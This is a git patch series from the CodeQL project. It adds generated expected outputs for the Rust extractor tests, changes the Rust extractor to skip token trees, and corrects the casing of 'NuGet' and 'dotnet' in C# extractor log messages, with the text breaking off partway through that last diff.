getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | +| gen_tuple_field.rs:7:19:7:24 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected index e69de29bb2d1..31c4849e7a31 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | gen_tuple_field.rs:7:14:7:16 | i32 | +| gen_tuple_field.rs:7:19:7:24 | TupleField | gen_tuple_field.rs:7:19:7:24 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected index e69de29bb2d1..5101ab7bf197 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected @@ -0,0 +1 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected index e69de29bb2d1..77b15f1aa42f 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 0 | gen_tuple_field_list.rs:7:14:7:16 | TupleField | +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 1 | gen_tuple_field_list.rs:7:19:7:24 | TupleField | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected index a35fda175817..f3dcaadb7a2b 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected @@ -1 +1,2 @@ | gen_tuple_type_repr.rs:3:30:3:31 | TupleTypeRepr | getNumberOfFields: | 0 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected index e69de29bb2d1..c4d5db977c54 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 0 | gen_tuple_type_repr.rs:7:13:7:15 | i32 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 1 | gen_tuple_type_repr.rs:7:18:7:23 | String | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected index e69de29bb2d1..d81b48448fa4 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected index e69de29bb2d1..f1bb3e460e18 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | gen_type_arg.rs:7:11:7:13 | u32 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected index e69de29bb2d1..40e38f919ceb 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | isAsync: | no | isConst: | no | hasLifetime: | no | hasTypeRepr: | yes | hasUseBoundGenericArgs: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected index e69de29bb2d1..7d9cf96f2ad2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | gen_type_bound.rs:7:15:7:19 | Debug | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected index e69de29bb2d1..3044718de476 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected @@ -0,0 +1 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | getNumberOfBounds: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected index e69de29bb2d1..7106e5ae6649 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected @@ -0,0 +1,2 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 0 | gen_type_bound_list.rs:7:15:7:19 | TypeBound | +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 1 | gen_type_bound_list.rs:7:23:7:27 | TypeBound | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected index e69de29bb2d1..1ba76dc60d35 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | getNumberOfAttrs: | 0 | hasDefaultType: | no | hasName: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected index e69de29bb2d1..a51942c95c28 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | gen_type_param.rs:7:12:7:12 | T | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.expected b/rust/ql/test/extractor-tests/generated/Union/Union.expected index e69de29bb2d1..bc0b9974b409 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasStructFieldList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected index e69de29bb2d1..02b0d8ebc8cb 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:11:7:11 | U | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected index e69de29bb2d1..3613a0fcb381 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:13:7:32 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.expected b/rust/ql/test/extractor-tests/generated/Use/Use.expected index e69de29bb2d1..e016b067371d 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasUseTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected index e69de29bb2d1..81b2c2c8ad35 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | gen_use.rs:5:9:5:33 | ...::HashMap | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected new file mode 100644 index 000000000000..3ea69e78251e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected @@ -0,0 +1 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | getNumberOfUseBoundGenericArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected new file mode 100644 index 000000000000..9cae2694f993 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected @@ -0,0 +1,3 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 0 | gen_use_bound_generic_args.rs:7:63:7:64 | 'a | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 1 | gen_use_bound_generic_args.rs:7:67:7:67 | T | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 2 | gen_use_bound_generic_args.rs:7:70:7:70 | N | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected index e69de29bb2d1..1d1bbfd4e14d 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected @@ -0,0 +1 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | getNumberOfUseTrees: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected index e69de29bb2d1..1bfef2daee16 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected @@ -0,0 +1,2 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 0 | gen_use_tree_list.rs:7:15:7:16 | fs | +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 1 | gen_use_tree_list.rs:7:19:7:20 | io | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected index e69de29bb2d1..cca0757d4586 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | no | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:17:7:22 | B | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:25:7:36 | C | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected index e69de29bb2d1..9461de62cc6a 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected @@ -0,0 +1,2 @@ +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:18:7:22 | TupleFieldList | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:27:7:36 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected index e69de29bb2d1..87faede2aada 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | gen_variant.rs:7:14:7:14 | A | +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:17:7:17 | B | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:25:7:25 | C | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected index e69de29bb2d1..b7b25116f580 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected @@ -0,0 +1 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | getNumberOfVariants: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected index e69de29bb2d1..c62dfe004724 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected @@ -0,0 +1,3 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | 0 | gen_variant_list.rs:7:14:7:14 | A | +| gen_variant_list.rs:7:12:7:22 | VariantList | 1 | gen_variant_list.rs:7:17:7:17 | B | +| gen_variant_list.rs:7:12:7:22 | VariantList | 2 | gen_variant_list.rs:7:20:7:20 | C | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index e69de29bb2d1..ce221742c76a 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -0,0 +1 @@ +| gen_visibility.rs:7:5:7:7 | Visibility | hasPath: | no | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected index e69de29bb2d1..4610fc7dea16 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | getNumberOfPredicates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected index e69de29bb2d1..b8fcba86a6a6 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | 0 | gen_where_clause.rs:7:27:7:34 | WherePred | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected index e69de29bb2d1..d2988eb245d1 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | +| gen_where_pred.rs:7:46:7:53 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected index e69de29bb2d1..2b3b7d1172ab 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:39:7:43 | TypeBoundList | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:49:7:53 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected index e69de29bb2d1..92c8489eda04 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:36:7:36 | T | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:46:7:46 | U | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected index e69de29bb2d1..547e3e0ad2e6 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected index e69de29bb2d1..1b6f53eeea0e 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:11:7:16 | ... < ... | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected index e69de29bb2d1..54fd5ed51520 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:18:9:5 | { ... } | From fa3fcf0f959f558bece4cc754c0c985e937e0fe0 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 2 Jun 2025 09:32:39 +0200 Subject: [PATCH 476/535] Rust: skip all token trees in library mode --- rust/extractor/src/translate/base.rs | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index f19f39c75d10..8d971900497e 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -689,12 +689,7 @@ impl<'a> Translator<'a> { { return true; } - if syntax - .parent() - .and_then(ast::MacroCall::cast) - .and_then(|x| x.token_tree()) - .is_some_and(|tt| tt.syntax() == syntax) - { + if syntax.kind() == SyntaxKind::TOKEN_TREE { return true; } } From 77a6a2d442db8b23df7e40b39c31ba785974cc0f Mon Sep 17 00:00:00 2001 From: Martin Costello Date: Mon, 2 Jun 2025 09:30:16 +0100 Subject: [PATCH 477/535] Fix user-facing casing of NuGet Fix user-facing strings to use "NuGet" instead of "Nuget" and "dotnet" instead of "Dotnet". --- .../CSharpAutobuilder.cs | 2 +- .../DotNet.cs | 4 +- .../EnvironmentVariableNames.cs | 2 +- .../NugetPackageRestorer.cs | 62 +++++++++---------- .../all-platforms/binlog/diagnostics.expected | 2 +- .../binlog_multiple/diagnostics.expected | 2 +- .../standalone/diagnostics.expected | 2 +- .../diagnostics.expected | 2 +- .../standalone_failed/diagnostics.expected | 2 +- .../standalone_resx/CompilationInfo.expected | 6 +- .../CompilationInfo.expected | 6 +- .../CompilationInfo.expected | 4 +- .../CompilationInfo.expected | 6 +- .../diagnostics.expected | 6 +- .../test.py | 2 +- .../CompilationInfo.expected | 4 +- .../diagnostics.expected | 6 +- .../test.py | 2 +- csharp/scripts/stubs/README.md | 4 +- 19 files changed, 63 insertions(+), 63 deletions(-) diff --git a/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs b/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs index 36feaec47265..83737b5e32bb 100644 --- a/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs +++ b/csharp/autobuilder/Semmle.Autobuild.CSharp/CSharpAutobuilder.cs @@ -113,7 +113,7 @@ private BuildScript AddBuildlessStartedDiagnostic() "buildless/mode-active", "C# was extracted with build-mode set to 'none'", visibility: new DiagnosticMessage.TspVisibility(statusPage: true, cliSummaryTable: true, telemetry: true), - markdownMessage: "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + markdownMessage: "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", severity: DiagnosticMessage.TspSeverity.Note )); diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index 49d35c944bd8..c71013bf7a01 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -127,13 +127,13 @@ public bool Exec(string execArgs) public IList GetNugetFeeds(string nugetConfig) { - logger.LogInfo($"Getting Nuget feeds from '{nugetConfig}'..."); + logger.LogInfo($"Getting NuGet feeds from '{nugetConfig}'..."); return GetResultList($"{nugetListSourceCommand} --configfile \"{nugetConfig}\""); } public IList GetNugetFeedsFromFolder(string folderPath) { - logger.LogInfo($"Getting Nuget feeds in folder '{folderPath}'..."); + logger.LogInfo($"Getting NuGet feeds in folder '{folderPath}'..."); return GetResultList(nugetListSourceCommand, folderPath); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs index 589e72d21265..b1134ad21e24 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs @@ -55,7 +55,7 @@ internal static class EnvironmentVariableNames internal const string NugetFeedResponsivenessRequestCountForFallback = "CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_FALLBACK_LIMIT"; /// - /// Specifies the NuGet feeds to use for fallback Nuget dependency fetching. The value is a space-separated list of feed URLs. + /// Specifies the NuGet feeds to use for fallback NuGet dependency fetching. The value is a space-separated list of feed URLs. /// The default value is `https://api.nuget.org/v3/index.json`. /// public const string FallbackNugetFeeds = "CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_FALLBACK"; diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index f1ad43f83f97..e0e1bc649fa4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -135,16 +135,16 @@ public HashSet Restore() if (nugetPackageDllPaths.Count > 0) { - logger.LogInfo($"Restored {nugetPackageDllPaths.Count} Nuget DLLs."); + logger.LogInfo($"Restored {nugetPackageDllPaths.Count} NuGet DLLs."); } if (excludedPaths.Count > 0) { - logger.LogInfo($"Excluding {excludedPaths.Count} Nuget DLLs."); + logger.LogInfo($"Excluding {excludedPaths.Count} NuGet DLLs."); } foreach (var excludedPath in excludedPaths) { - logger.LogInfo($"Excluded Nuget DLL: {excludedPath}"); + logger.LogInfo($"Excluded NuGet DLL: {excludedPath}"); } nugetPackageDllPaths.ExceptWith(excludedPaths); @@ -152,7 +152,7 @@ public HashSet Restore() } catch (Exception exc) { - logger.LogError($"Failed to restore Nuget packages with nuget.exe: {exc.Message}"); + logger.LogError($"Failed to restore NuGet packages with nuget.exe: {exc.Message}"); } var restoredProjects = RestoreSolutions(out var container); @@ -186,7 +186,7 @@ private List GetReachableFallbackNugetFeeds(HashSet? feedsFromNu if (fallbackFeeds.Count == 0) { fallbackFeeds.Add(PublicNugetOrgFeed); - logger.LogInfo($"No fallback Nuget feeds specified. Adding default feed: {PublicNugetOrgFeed}"); + logger.LogInfo($"No fallback NuGet feeds specified. Adding default feed: {PublicNugetOrgFeed}"); var shouldAddNugetConfigFeeds = EnvironmentVariables.GetBooleanOptOut(EnvironmentVariableNames.AddNugetConfigFeedsToFallback); logger.LogInfo($"Adding feeds from nuget.config to fallback restore: {shouldAddNugetConfigFeeds}"); @@ -196,23 +196,23 @@ private List GetReachableFallbackNugetFeeds(HashSet? feedsFromNu // There are some feeds in `feedsFromNugetConfigs` that have already been checked for reachability, we could skip those. // But we might use different responsiveness testing settings when we try them in the fallback logic, so checking them again is safer. fallbackFeeds.UnionWith(feedsFromNugetConfigs); - logger.LogInfo($"Using Nuget feeds from nuget.config files as fallback feeds: {string.Join(", ", feedsFromNugetConfigs.OrderBy(f => f))}"); + logger.LogInfo($"Using NuGet feeds from nuget.config files as fallback feeds: {string.Join(", ", feedsFromNugetConfigs.OrderBy(f => f))}"); } } - logger.LogInfo($"Checking fallback Nuget feed reachability on feeds: {string.Join(", ", fallbackFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Checking fallback NuGet feed reachability on feeds: {string.Join(", ", fallbackFeeds.OrderBy(f => f))}"); var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: true); var reachableFallbackFeeds = fallbackFeeds.Where(feed => IsFeedReachable(feed, initialTimeout, tryCount, allowExceptions: false)).ToList(); if (reachableFallbackFeeds.Count == 0) { - logger.LogWarning("No fallback Nuget feeds are reachable."); + logger.LogWarning("No fallback NuGet feeds are reachable."); } else { - logger.LogInfo($"Reachable fallback Nuget feeds: {string.Join(", ", reachableFallbackFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Reachable fallback NuGet feeds: {string.Join(", ", reachableFallbackFeeds.OrderBy(f => f))}"); } - compilationInfoContainer.CompilationInfos.Add(("Reachable fallback Nuget feed count", reachableFallbackFeeds.Count.ToString())); + compilationInfoContainer.CompilationInfos.Add(("Reachable fallback NuGet feed count", reachableFallbackFeeds.Count.ToString())); return reachableFallbackFeeds; } @@ -331,7 +331,7 @@ private void RestoreProjects(IEnumerable projects, HashSet? conf return DownloadMissingPackages(usedPackageNames, fallbackNugetFeeds: reachableFallbackFeeds); } - logger.LogWarning("Skipping download of missing packages from specific feeds as no fallback Nuget feeds are reachable."); + logger.LogWarning("Skipping download of missing packages from specific feeds as no fallback NuGet feeds are reachable."); return null; } @@ -624,7 +624,7 @@ private static async Task ExecuteGetRequest(string address, HttpClient httpClien private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, bool allowExceptions = true) { - logger.LogInfo($"Checking if Nuget feed '{feed}' is reachable..."); + logger.LogInfo($"Checking if 